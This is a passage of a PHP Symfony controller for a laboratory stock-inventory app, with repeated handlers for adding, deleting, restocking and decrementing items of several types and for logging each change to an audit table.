  2491. $this->em->remove($entry);
  2492. $this->em->persist($mgmt);
  2493. $this->em->flush();
  2495. return $this->redirect($this->generateUrl('stock'));
  2496. }
  2497. }
  2498. if (null !== $request->get('restock')){
  2499. if ($data) {
  2500. $info = $data['entry'];
  2502. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2503. 'id' => $data['entryid']
  2504. ]);
  2506. $entry->setQty($entry->getQty()+(float)$data['entry']['qty'])
  2507. ->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2508. ->setLow((float)$info['low'])
  2509. ->setCritical((float)$info['critical'])
  2510. ->setStockname($info['name'])
  2511. ->setSupplier($info['supplier'])
  2512. ->setComment($info['comment'])
  2513. ->setUnits($info['units'])
  2514. ->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2516. // Create a new StockManagement entry when restocking
  2517. $mgmt = new StockManagement();
  2518. $mgmt->setStockId($entry->getId());
  2519. $mgmt->setStockName($entry->getStockname());
  2520. $mgmt->setSupplier($entry->getSupplier());
  2521. $mgmt->setComment($entry->getComment());
  2522. $mgmt->setStockType($entry->getType());
  2523. $mgmt->setActionType('Restock');
  2524. $mgmt->setQuantity((float)$data['entry']['qty']);
  2525. $mgmt->setTotalQuantity($entry->getQty());
  2526. $mgmt->setDate(new \Datetime());
  2528. $this->em->persist($entry);
  2529. $this->em->persist($mgmt);
  2530. $this->em->flush();
  2531. return $this->redirect($this->generateUrl('stock'));
  2532. }
  2533. }
  2534. if (null !== $request->get('takeone')){
  2535. if ($data) {
  2536. $info = $data['entryid'];
  2537. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2538. 'id' => $data['entryid']
  2539. ]);
  2540. $entry->setQty($entry->getQty() - 1);
  2541. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2543. // Create a new StockManagement entry when taking one
  2544. $mgmt = new StockManagement();
  2545. $mgmt->setStockId($entry->getId());
  2546. $mgmt->setStockName($entry->getStockname());
  2547. $mgmt->setSupplier($entry->getSupplier());
  2548. $mgmt->setComment($entry->getComment());
  2549. $mgmt->setStockType($entry->getType());
  2550. $mgmt->setActionType('Take One');
  2551. $mgmt->setQuantity(-1);
  2552. $mgmt->setTotalQuantity($entry->getQty());
  2553. $mgmt->setDate(new \Datetime());
  2555. $this->em->persist($entry);
  2556. $this->em->persist($mgmt);
  2557. $this->em->flush();
  2558. return $this->redirect($this->generateUrl('stock'));
  2559. }
  2560. }
  2562. // Handle 'orderstatus' checkbox change
  2563. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2564. $entryId = $data['entryid'];
  2565. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2567. // Find the Stock entry by ID
  2568. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2569. 'id' => $entryId
  2570. ]);
  2572. if ($entry) {
  2573. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2574. $this->em->persist($entry);
  2575. $this->em->flush();
  2576. return $this->redirect($this->generateUrl('stock'));
  2577. }
  2579. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2580. }
  2581. }
  2585. return $this->render('cats/stock.html.twig',[
  2586. 'stock' => $stock
  2587. ]);
  2588. }
  2590. //=====================================================================================================================================================================================<
  2591. /**
  2592. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2593. * @param Request $request
  2594. * @Route("/stockconsume", name="stockconsume")
  2595. * @return Response $response
  2596. */
  2597. public function stockconsume(Request $request)
  2598. {
  2599. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2600. 'type' => 'Consumable'
  2601. ]);
  2604. if ( $request->getMethod() == "POST" ) {
  2605. $data = $request->request->all();
  2607. if (null !== $request->get('addnew')){
  2608. if ($data) {
  2609. $info = $data['entry'];
  2610. $entry = new Stock();
  2611. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2612. ->setLow((float)$info['low'])
  2613. ->setCritical((float)$info['critical']);
  2614. $entry->setComment($info['comment']);
  2615. $entry->setSupplier($info['supplier']);
  2616. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2617. $entry->setUnits($info['units']);
  2618. $entry->setType("Consumable");
  2619. $this->em->persist($entry);
  2620. $this->em->flush();
  2622. // Create a new StockManagement entry when adding new entry
  2623. $mgmt = new StockManagement();
  2624. $mgmt->setStockId($entry->getId());
  2625. $mgmt->setStockName($entry->getStockname());
  2626. $mgmt->setSupplier($entry->getSupplier());
  2627. $mgmt->setComment($entry->getComment());
  2628. $mgmt->setStockType($entry->getType());
  2629. $mgmt->setActionType('Add new');
  2630. $mgmt->setQuantity($entry->getQty());
  2631. $mgmt->setTotalQuantity($entry->getQty());
  2632. $mgmt->setDate(new \Datetime());
  2634. $this->em->persist($mgmt);
  2635. $this->em->flush();
  2636. return $this->redirect($this->generateUrl('stockconsume'));
  2637. }
  2638. }
  2639. if (null !== $request->get('delete')){
  2640. if ($data) {
  2641. $info = $data['entryid'];
  2642. /*echo '<pre>';
  2643. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2644. die();*/
  2645. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2646. 'id' => $info
  2647. ]);
  2649. // Create a new StockManagement entry when deleting
  2650. $mgmt = new StockManagement();
  2651. $mgmt->setStockId($entry->getId());
  2652. $mgmt->setStockName($entry->getStockname());
  2653. $mgmt->setSupplier($entry->getSupplier());
  2654. $mgmt->setComment($entry->getComment());
  2655. $mgmt->setStockType($entry->getType());
  2656. $mgmt->setActionType('Delete');
  2657. $mgmt->setQuantity(0);
  2658. $mgmt->setTotalQuantity($entry->getQty());
  2659. $mgmt->setDate(new \Datetime());
  2661. $this->em->remove($entry);
  2662. $this->em->persist($mgmt);
  2663. $this->em->flush();
  2665. return $this->redirect($this->generateUrl('stockconsume'));
  2666. }
  2667. }
  2668. if (null !== $request->get('restock')){
  2669. if ($data) {
  2670. $info = $data['entry'];
  2672. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2673. 'id' => $data['entryid']
  2674. ]);
  2675. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2676. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2677. ->setLow((float)$info['low'])
  2678. ->setCritical((float)$info['critical']);
  2679. $entry->setStockname($info['name']);
  2680. $entry->setSupplier($info['supplier']);
  2681. $entry->setComment($info['comment']);
  2682. $entry->setUnits($info['units']);
  2683. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2685. // Create a new StockManagement entry when restocking
  2686. $mgmt = new StockManagement();
  2687. $mgmt->setStockId($entry->getId());
  2688. $mgmt->setStockName($entry->getStockname());
  2689. $mgmt->setSupplier($entry->getSupplier());
  2690. $mgmt->setComment($entry->getComment());
  2691. $mgmt->setStockType($entry->getType());
  2692. $mgmt->setActionType('Restock');
  2693. $mgmt->setQuantity((float)$data['entry']['qty']);
  2694. $mgmt->setTotalQuantity($entry->getQty());
  2695. $mgmt->setDate(new \Datetime());
  2697. $this->em->persist($entry);
  2698. $this->em->persist($mgmt);
  2699. $this->em->flush();
  2700. return $this->redirect($this->generateUrl('stockconsume'));
  2701. }
  2702. }
  2703. if (null !== $request->get('takeone')){
  2704. if ($data) {
  2705. $info = $data['entryid'];
  2706. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2707. 'id' => $data['entryid']
  2708. ]);
  2709. $entry->setQty($entry->getQty() - 1);
  2710. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2712. // Create a new StockManagement entry when taking one
  2713. $mgmt = new StockManagement();
  2714. $mgmt->setStockId($entry->getId());
  2715. $mgmt->setStockName($entry->getStockname());
  2716. $mgmt->setSupplier($entry->getSupplier());
  2717. $mgmt->setComment($entry->getComment());
  2718. $mgmt->setStockType($entry->getType());
  2719. $mgmt->setActionType('Take One');
  2720. $mgmt->setQuantity(-1);
  2721. $mgmt->setTotalQuantity($entry->getQty());
  2722. $mgmt->setDate(new \Datetime());
  2724. $this->em->persist($entry);
  2725. $this->em->persist($mgmt);
  2726. $this->em->flush();
  2727. return $this->redirect($this->generateUrl('stockconsume'));
  2728. }
  2729. }
  2731. // Handle 'orderstatus' checkbox change
  2732. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2733. $entryId = $data['entryid'];
  2734. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2736. // Find the Stock entry by ID
  2737. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2738. 'id' => $entryId
  2739. ]);
  2741. if ($entry) {
  2742. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2743. $this->em->persist($entry);
  2744. $this->em->flush();
  2745. return $this->redirect($this->generateUrl('stockconsume'));
  2746. }
  2748. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2749. }
  2750. }
  2752. return $this->render('cats/stockconsume.html.twig',[
  2753. 'stock' => $stock
  2754. ]);
  2755. }
  2757. //=====================================================================================================================================================================================<
  2758. /**
  2759. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2760. * @param Request $request
  2761. * @Route("/equipstock", name="equipstock")
  2762. * @return Response $response
  2763. */
  2764. public function equipstock(Request $request)
  2765. {
  2766. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2767. 'type' => 'Glass'
  2768. ]);
  2771. if ( $request->getMethod() == "POST" ) {
  2772. $data = $request->request->all();
  2774. if (null !== $request->get('addnew')){
  2775. if ($data) {
  2776. $info = $data['entry'];
  2777. $entry = new Stock();
  2778. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2779. ->setLow((float)$info['low'])
  2780. ->setCritical((float)$info['critical']);
  2781. $entry->setComment($info['comment']);
  2782. $entry->setSupplier($info['supplier']);
  2783. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2784. $entry->setUnits($info['units']);
  2785. $entry->setType("Glass");
  2786. $this->em->persist($entry);
  2787. $this->em->flush();
  2789. // Create a new StockManagement entry when adding new entry
  2790. $mgmt = new StockManagement();
  2791. $mgmt->setStockId($entry->getId());
  2792. $mgmt->setStockName($entry->getStockname());
  2793. $mgmt->setSupplier($entry->getSupplier());
  2794. $mgmt->setComment($entry->getComment());
  2795. $mgmt->setStockType($entry->getType());
  2796. $mgmt->setActionType('Add new');
  2797. $mgmt->setQuantity($entry->getQty());
  2798. $mgmt->setTotalQuantity($entry->getQty());
  2799. $mgmt->setDate(new \Datetime());
  2801. $this->em->persist($mgmt);
  2802. $this->em->flush();
  2803. return $this->redirect($this->generateUrl('equipstock'));
  2804. }
  2805. }
  2806. if (null !== $request->get('delete')){
  2807. if ($data) {
  2808. $info = $data['entryid'];
  2809. /*echo '<pre>';
  2810. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2811. die();*/
  2812. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2813. 'id' => $info
  2814. ]);
  2816. // Create a new StockManagement entry when deleting
  2817. $mgmt = new StockManagement();
  2818. $mgmt->setStockId($entry->getId());
  2819. $mgmt->setStockName($entry->getStockname());
  2820. $mgmt->setSupplier($entry->getSupplier());
  2821. $mgmt->setComment($entry->getComment());
  2822. $mgmt->setStockType($entry->getType());
  2823. $mgmt->setActionType('Delete');
  2824. $mgmt->setQuantity(0);
  2825. $mgmt->setTotalQuantity($entry->getQty());
  2826. $mgmt->setDate(new \Datetime());
  2828. $this->em->remove($entry);
  2829. $this->em->persist($mgmt);
  2830. $this->em->flush();
  2832. return $this->redirect($this->generateUrl('equipstock'));
  2833. }
  2834. }
  2835. if (null !== $request->get('restock')){
  2836. if ($data) {
  2837. $info = $data['entry'];
  2839. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2840. 'id' => $data['entryid']
  2841. ]);
  2842. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2843. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2844. ->setLow((float)$info['low'])
  2845. ->setCritical((float)$info['critical']);
  2846. $entry->setStockname($info['name']);
  2847. $entry->setSupplier($info['supplier']);
  2848. $entry->setComment($info['comment']);
  2849. $entry->setUnits($info['units']);
  2850. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2852. // Create a new StockManagement entry when restocking
  2853. $mgmt = new StockManagement();
  2854. $mgmt->setStockId($entry->getId());
  2855. $mgmt->setStockName($entry->getStockname());
  2856. $mgmt->setSupplier($entry->getSupplier());
  2857. $mgmt->setComment($entry->getComment());
  2858. $mgmt->setStockType($entry->getType());
  2859. $mgmt->setActionType('Restock');
  2860. $mgmt->setQuantity((float)$data['entry']['qty']);
  2861. $mgmt->setTotalQuantity($entry->getQty());
  2862. $mgmt->setDate(new \Datetime());
  2864. $this->em->persist($entry);
  2865. $this->em->persist($mgmt);
  2866. $this->em->flush();
  2867. return $this->redirect($this->generateUrl('equipstock'));
  2868. }
  2869. }
  2870. if (null !== $request->get('takeone')){
  2871. if ($data) {
  2872. $info = $data['entryid'];
  2873. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2874. 'id' => $data['entryid']
  2875. ]);
  2876. $entry->setQty($entry->getQty() - 1);
  2877. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2879. // Create a new StockManagement entry when taking one
  2880. $mgmt = new StockManagement();
  2881. $mgmt->setStockId($entry->getId());
  2882. $mgmt->setStockName($entry->getStockname());
  2883. $mgmt->setSupplier($entry->getSupplier());
  2884. $mgmt->setComment($entry->getComment());
  2885. $mgmt->setStockType($entry->getType());
  2886. $mgmt->setActionType('Take One');
  2887. $mgmt->setQuantity(-1);
  2888. $mgmt->setTotalQuantity($entry->getQty());
  2889. $mgmt->setDate(new \Datetime());
  2891. $this->em->persist($entry);
  2892. $this->em->persist($mgmt);
  2893. $this->em->flush();
  2894. return $this->redirect($this->generateUrl('equipstock'));
  2895. }
  2896. }
  2898. // Handle 'orderstatus' checkbox change
  2899. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2900. $entryId = $data['entryid'];
  2901. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2903. // Find the Stock entry by ID
  2904. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2905. 'id' => $entryId
  2906. ]);
  2908. if ($entry) {
  2909. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2910. $this->em->persist($entry);
  2911. $this->em->flush();
  2912. return $this->redirect($this->generateUrl('equipstock'));
  2913. }
  2915. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2916. }
  2917. }
  2919. return $this->render('cats/equipstock.html.twig',[
  2920. 'stock' => $stock
  2921. ]);
  2922. }
  2925. //=====================================================================================================================================================================================<
  2926. /**
  2927. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2928. * @param Request $request
  2929. * @Route("/stockMaintenance", name="stockMaintenance")
  2930. * @return Response $response
  2931. */
  2932. public function stockMaintenance(Request $request)
  2933. {
  2934. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2935. 'type' => 'Maintenance'
  2936. ]);
  2939. if ( $request->getMethod() == "POST" ) {
  2940. $data = $request->request->all();
  2942. if (null !== $request->get('addnew')){
  2943. if ($data) {
  2944. $info = $data['entry'];
  2945. $entry = new Stock();
  2947. $entry->setStockname($info['name'])
  2948. ->setSupplier($info['supplier'])
  2949. ->setFault($info['fault'])
  2950. ->setUnits($info['units'])
  2951. ->setQty(1)
  2952. ->setComment($info['comment'])
  2953. ->setDatemodified(new \DateTime($info['datemodified']))
  2954. ->setType("Maintenance");
  2956. $this->em->persist($entry);
  2957. $this->em->flush();
  2958. return $this->redirect($this->generateUrl('stockMaintenance'));
  2959. }
  2960. }
  2961. if (null !== $request->get('delete')){
  2962. if ($data) {
  2963. $info = $data['entryid'];
  2964. /*echo '<pre>';
  2965. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2966. die();*/
  2967. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2968. 'id' => $info
  2969. ]);
  2970. $this->em->remove($entry);
  2971. $this->em->flush();
  2973. return $this->redirect($this->generateUrl('stockMaintenance'));
  2974. }
  2975. }
  2976. if (null !== $request->get('restock')){
  2977. if ($data) {
  2978. $info = $data['entry'];
  2980. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2981. 'id' => $data['entryid']
  2982. ]);
  2983. $entry->setDatemodified(new \DateTime());
  2984. $entry->setStockname($info['name']);
  2985. $entry->setFault($info['fault']);
  2986. $entry->setSupplier($info['supplier']);
  2987. $entry->setComment($info['comment']);
  2988. $entry->setUnits($info['units']);
  2989. $this->em->persist($entry);
  2990. $this->em->flush();
  2991. return $this->redirect($this->generateUrl('stockMaintenance'));
  2992. }
  2993. }
  2994. }
  2996. return $this->render('cats/stockMaintenance.html.twig',[
  2997. 'stock' => $stock
  2998. ]);
  2999. }
  3000. //=====================================================================================================================================================================================<
  3001. /**
  3002. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3003. * @param Request $request
  3004. * @Route("/icpstock", name="icpstock")
  3005. * @return Response $response
  3006. */
  3007. public function icpstock(Request $request)
  3008. {
  3009. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3010. 'type' => 'ICP'
  3011. ]);
  3014. if ( $request->getMethod() == "POST" ) {
  3015. $data = $request->request->all();
  3017. if (null !== $request->get('addnew')){
  3018. if ($data) {
  3019. $info = $data['entry'];
  3020. $entry = new Stock();
  3021. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3022. ->setLow((float)$info['low'])
  3023. ->setCritical((float)$info['critical']);
  3024. $entry->setComment($info['comment']);
  3025. $entry->setSupplier($info['supplier']);
  3026. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3027. $entry->setUnits($info['units']);
  3028. $entry->setType("ICP");
  3029. $this->em->persist($entry);
  3030. $this->em->flush();
  3032. // Create a new StockManagement entry when adding new entry
  3033. $mgmt = new StockManagement();
  3034. $mgmt->setStockId($entry->getId());
  3035. $mgmt->setStockName($entry->getStockname());
  3036. $mgmt->setSupplier($entry->getSupplier());
  3037. $mgmt->setComment($entry->getComment());
  3038. $mgmt->setStockType($entry->getType());
  3039. $mgmt->setActionType('Add new');
  3040. $mgmt->setQuantity($entry->getQty());
  3041. $mgmt->setTotalQuantity($entry->getQty());
  3042. $mgmt->setDate(new \Datetime());
  3044. $this->em->persist($mgmt);
  3045. $this->em->flush();
  3046. return $this->redirect($this->generateUrl('icpstock'));
  3047. }
  3048. }
  3049. if (null !== $request->get('delete')){
  3050. if ($data) {
  3051. $info = $data['entryid'];
  3052. /*echo '<pre>';
  3053. exit(\Doctrine\Common\Util\Debug:://dump($data));
  3054. die();*/
  3055. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3056. 'id' => $info
  3057. ]);
  3059. // Create a new StockManagement entry when deleting
  3060. $mgmt = new StockManagement();
  3061. $mgmt->setStockId($entry->getId());
  3062. $mgmt->setStockName($entry->getStockname());
  3063. $mgmt->setSupplier($entry->getSupplier());
  3064. $mgmt->setComment($entry->getComment());
  3065. $mgmt->setStockType($entry->getType());
  3066. $mgmt->setActionType('Delete');
  3067. $mgmt->setQuantity(0);
  3068. $mgmt->setTotalQuantity($entry->getQty());
  3069. $mgmt->setDate(new \Datetime());
  3071. $this->em->remove($entry);
  3072. $this->em->persist($mgmt);
  3073. $this->em->flush();
  3075. return $this->redirect($this->generateUrl('icpstock'));
  3076. }
  3077. }
  3078. if (null !== $request->get('restock')){
  3079. if ($data) {
  3080. $info = $data['entry'];
  3082. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3083. 'id' => $data['entryid']
  3084. ]);
  3085. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3086. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3087. ->setLow((float)$info['low'])
  3088. ->setCritical((float)$info['critical']);
  3089. $entry->setStockname($info['name']);
  3090. $entry->setSupplier($info['supplier']);
  3091. $entry->setComment($info['comment']);
  3092. $entry->setUnits($info['units']);
  3093. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3095. // Create a new StockManagement entry when restocking
  3096. $mgmt = new StockManagement();
  3097. $mgmt->setStockId($entry->getId());
  3098. $mgmt->setStockName($entry->getStockname());
  3099. $mgmt->setSupplier($entry->getSupplier());
  3100. $mgmt->setComment($entry->getComment());
  3101. $mgmt->setStockType($entry->getType());
  3102. $mgmt->setActionType('Restock');
  3103. $mgmt->setQuantity((float)$data['entry']['qty']);
  3104. $mgmt->setTotalQuantity($entry->getQty());
  3105. $mgmt->setDate(new \Datetime());
  3107. $this->em->persist($entry);
  3108. $this->em->persist($mgmt);
  3109. $this->em->flush();
  3110. return $this->redirect($this->generateUrl('icpstock'));
  3111. }
  3112. }
  3113. if (null !== $request->get('takeone')){
  3114. if ($data) {
  3115. $info = $data['entryid'];
  3116. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3117. 'id' => $data['entryid']
  3118. ]);
  3119. $entry->setQty($entry->getQty() - 1);
  3120. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3122. // Create a new StockManagement entry when taking one
  3123. $mgmt = new StockManagement();
  3124. $mgmt->setStockId($entry->getId());
  3125. $mgmt->setStockName($entry->getStockname());
  3126. $mgmt->setSupplier($entry->getSupplier());
  3127. $mgmt->setComment($entry->getComment());
  3128. $mgmt->setStockType($entry->getType());
  3129. $mgmt->setActionType('Take One');
  3130. $mgmt->setQuantity(-1);
  3131. $mgmt->setTotalQuantity($entry->getQty());
  3132. $mgmt->setDate(new \Datetime());
  3134. $this->em->persist($entry);
  3135. $this->em->persist($mgmt);
  3136. $this->em->flush();
  3137. return $this->redirect($this->generateUrl('icpstock'));
  3138. }
  3139. }
  3141. // Handle 'orderstatus' checkbox change
  3142. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3143. $entryId = $data['entryid'];
  3144. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3146. // Find the Stock entry by ID
  3147. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3148. 'id' => $entryId
  3149. ]);
  3151. if ($entry) {
  3152. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3153. $this->em->persist($entry);
  3154. $this->em->flush();
  3155. return $this->redirect($this->generateUrl('icpstock'));
  3156. }
  3158. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3159. }
  3160. }
  3162. return $this->render('cats/icpstock.html.twig',[
  3163. 'stock' => $stock
  3164. ]);
  3165. }
  3167. //=====================================================================================================================================================================================<
  3168. /**
  3169. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3170. * @param Request $request
  3171. * @Route("/icpstandardstock", name="icpstandardstock")
  3172. * @return Response $response
  3173. */
  3174. public function icpstandardstock(Request $request)
  3175. {
  3176. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3177. 'type' => 'ICP Standard'
  3178. ]);
  3181. if ( $request->getMethod() == "POST" ) {
  3182. $data = $request->request->all();
  3184. if (null !== $request->get('addnew')){
  3185. if ($data) {
  3186. $info = $data['entry'];
  3187. $entry = new Stock();
  3188. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3189. ->setLow((float)$info['low'])
  3190. ->setCritical((float)$info['critical']);
  3191. $entry->setComment($info['comment']);
  3192. $entry->setSupplier($info['supplier']);
  3193. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3194. $entry->setUnits($info['units']);
  3195. $entry->setType("ICP Standard");
  3196. $this->em->persist($entry);
  3197. $this->em->flush();
  3199. // Create a new StockManagement entry when adding new entry
  3200. $mgmt = new StockManagement();
  3201. $mgmt->setStockId($entry->getId());
  3202. $mgmt->setStockName($entry->getStockname());
  3203. $mgmt->setSupplier($entry->getSupplier());
  3204. $mgmt->setComment($entry->getComment());
  3205. $mgmt->setStockType($entry->getType());
  3206. $mgmt->setActionType('Add new');
  3207. $mgmt->setQuantity($entry->getQty());
  3208. $mgmt->setTotalQuantity($entry->getQty());
  3209. $mgmt->setDate(new \Datetime());
  3211. $this->em->persist($mgmt);
  3212. $this->em->flush();
  3213. return $this->redirect($this->generateUrl('icpstandardstock'));
  3214. }
  3215. }
  3217. if (null !== $request->get('delete')){
  3218. if ($data) {
  3219. $info = $data['entryid'];
  3220. /*echo '<pre>';
  3221. exit(\Doctrine\Common\Util\Debug:://dump($data));
  3222. die();*/
  3223. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3224. 'id' => $info
  3225. ]);
  3227. // Create a new StockManagement entry when deleting
  3228. $mgmt = new StockManagement();
  3229. $mgmt->setStockId($entry->getId());
  3230. $mgmt->setStockName($entry->getStockname());
  3231. $mgmt->setSupplier($entry->getSupplier());
  3232. $mgmt->setComment($entry->getComment());
  3233. $mgmt->setStockType($entry->getType());
  3234. $mgmt->setActionType('Delete');
  3235. $mgmt->setQuantity(0);
  3236. $mgmt->setTotalQuantity($entry->getQty());
  3237. $mgmt->setDate(new \Datetime());
  3239. $this->em->remove($entry);
  3240. $this->em->persist($mgmt);
  3241. $this->em->flush();
  3243. return $this->redirect($this->generateUrl('icpstandardstock'));
  3244. }
  3245. }
  3247. if (null !== $request->get('restock')){
  3248. if ($data) {
  3249. $info = $data['entry'];
  3251. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3252. 'id' => $data['entryid']
  3253. ]);
  3254. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3255. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3256. ->setLow((float)$info['low'])
  3257. ->setCritical((float)$info['critical']);
  3258. $entry->setStockname($info['name']);
  3259. $entry->setSupplier($info['supplier']);
  3260. $entry->setComment($info['comment']);
  3261. $entry->setUnits($info['units']);
  3262. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3264. // Create a new StockManagement entry when restocking
  3265. $mgmt = new StockManagement();
  3266. $mgmt->setStockId($entry->getId());
  3267. $mgmt->setStockName($entry->getStockname());
  3268. $mgmt->setSupplier($entry->getSupplier());
  3269. $mgmt->setComment($entry->getComment());
  3270. $mgmt->setStockType($entry->getType());
  3271. $mgmt->setActionType('Restock');
  3272. $mgmt->setQuantity((float)$data['entry']['qty']);
  3273. $mgmt->setTotalQuantity($entry->getQty());
  3274. $mgmt->setDate(new \Datetime());
  3276. $this->em->persist($entry);
  3277. $this->em->persist($mgmt);
  3278. $this->em->flush();
  3279. return $this->redirect($this->generateUrl('icpstandardstock'));
  3280. }
  3281. }
  3283. if (null !== $request->get('takeone')){
  3284. if ($data) {
  3285. $info = $data['entryid'];
  3286. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3287. 'id' => $data['entryid']
  3288. ]);
  3289. $entry->setQty($entry->getQty() - 1);
  3290. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3292. // Create a new StockManagement entry when taking one
  3293. $mgmt = new StockManagement();
  3294. $mgmt->setStockId($entry->getId());
  3295. $mgmt->setStockName($entry->getStockname());
  3296. $mgmt->setSupplier($entry->getSupplier());
  3297. $mgmt->setComment($entry->getComment());
  3298. $mgmt->setStockType($entry->getType());
  3299. $mgmt->setActionType('Take One');
  3300. $mgmt->setQuantity(-1);
  3301. $mgmt->setTotalQuantity($entry->getQty());
  3302. $mgmt->setDate(new \Datetime());
  3304. $this->em->persist($entry);
  3305. $this->em->persist($mgmt);
  3306. $this->em->flush();
  3307. return $this->redirect($this->generateUrl('icpstandardstock'));
  3308. }
  3309. }
  3311. // Handle 'orderstatus' checkbox change
  3312. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3313. $entryId = $data['entryid'];
  3314. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3316. // Find the Stock entry by ID
  3317. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3318. 'id' => $entryId
  3319. ]);
  3321. if ($entry) {
  3322. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3323. $this->em->persist($entry);
  3324. $this->em->flush();
  3325. return $this->redirect($this->generateUrl('icpstandardstock'));
  3326. }
  3328. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3329. }
  3330. }
  3332. return $this->render('cats/icpstandardstock.html.twig',[
  3333. 'stock' => $stock
  3334. ]);
  3335. }
  3336. //=====================================================================================================================================================================================<
  3337. /**
  3338. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3339. * @param Request $request
  3340. * @Route("/safestock", name="safestock")
  3341. * @return Response $response
  3342. */
  3343. public function safetystock(Request $request)
  3344. {
  3345. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3346. 'type' => 'Safety'
  3347. ]);
  3350. if ( $request->getMethod() == "POST" ) {
  3351. $data = $request->request->all();
  3353. if (isset($data['addnew'])) {
  3354. if ($data) {
  3355. $info = $data['entry'];
  3356. $entry = new Stock();
  3357. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3358. ->setLow((float)$info['low'])
  3359. ->setCritical((float)$info['critical']);
  3360. $entry->setComment($info['comment']);
  3361. $entry->setSupplier($info['supplier']);
  3362. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3363. $entry->setUnits($info['units']);
  3364. $entry->setType("Safety");
  3365. $this->em->persist($entry);
  3366. $this->em->flush();
  3368. // Create a new StockManagement entry when adding new entry
